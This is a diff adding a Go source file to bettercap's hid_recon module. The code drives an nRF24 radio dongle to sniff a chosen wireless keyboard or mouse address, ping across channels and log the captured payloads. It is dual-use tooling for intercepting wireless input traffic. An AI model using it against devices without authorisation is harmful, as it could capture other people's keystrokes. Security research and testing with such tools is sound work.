modules/hid_recon/hid_sniff.go
Normal file
|
@ -0,0 +1,75 @@
|
||||||
|
package hid_recon
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/network"
|
||||||
|
|
||||||
|
"github.com/bettercap/nrf24"
|
||||||
|
"github.com/evilsocket/islazy/tui"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (mod *HIDRecon) isSniffing() bool {
|
||||||
|
return mod.sniffAddrRaw != nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *HIDRecon) setSniffMode(mode string) error {
|
||||||
|
mod.sniffLock.Lock()
|
||||||
|
defer mod.sniffLock.Unlock()
|
||||||
|
|
||||||
|
mod.inSniffMode = false
|
||||||
|
if mode == "clear" {
|
||||||
|
mod.Debug("restoring recon mode")
|
||||||
|
mod.sniffAddrRaw = nil
|
||||||
|
mod.sniffAddr = ""
|
||||||
|
} else {
|
||||||
|
if err, raw := nrf24.ConvertAddress(mode); err != nil {
|
||||||
|
return err
|
||||||
|
} else {
|
||||||
|
mod.Debug("sniffing device %s ...", tui.Bold(mode))
|
||||||
|
mod.sniffAddr = network.NormalizeHIDAddress(mode)
|
||||||
|
mod.sniffAddrRaw = raw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *HIDRecon) doPing() {
|
||||||
|
if mod.inSniffMode == false {
|
||||||
|
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
|
||||||
|
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
|
||||||
|
} else {
|
||||||
|
mod.inSniffMode = true
|
||||||
|
mod.inPromMode = false
|
||||||
|
mod.Debug("device entered sniffer mode for %s", mod.sniffAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if time.Since(mod.lastPing) >= mod.pingPeriod {
|
||||||
|
// try on the current channel first
|
||||||
|
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
|
||||||
|
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
|
||||||
|
if err := mod.dongle.SetChannel(mod.channel); err != nil {
|
||||||
|
mod.Error("error setting channel %d: %v", mod.channel, err)
|
||||||
|
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
|
||||||
|
mod.lastPing = time.Now()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
|
||||||
|
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
|
||||||
|
buf = buf[1:]
|
||||||
|
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
|
||||||
|
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
|
||||||
|
dev.LastSeen = time.Now()
|
||||||
|
dev.AddPayload(buf)
|
||||||
|
dev.AddChannel(mod.channel)
|
||||||
|
} else {
|
||||||
|
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
Add table
Add a link
Reference in a new issue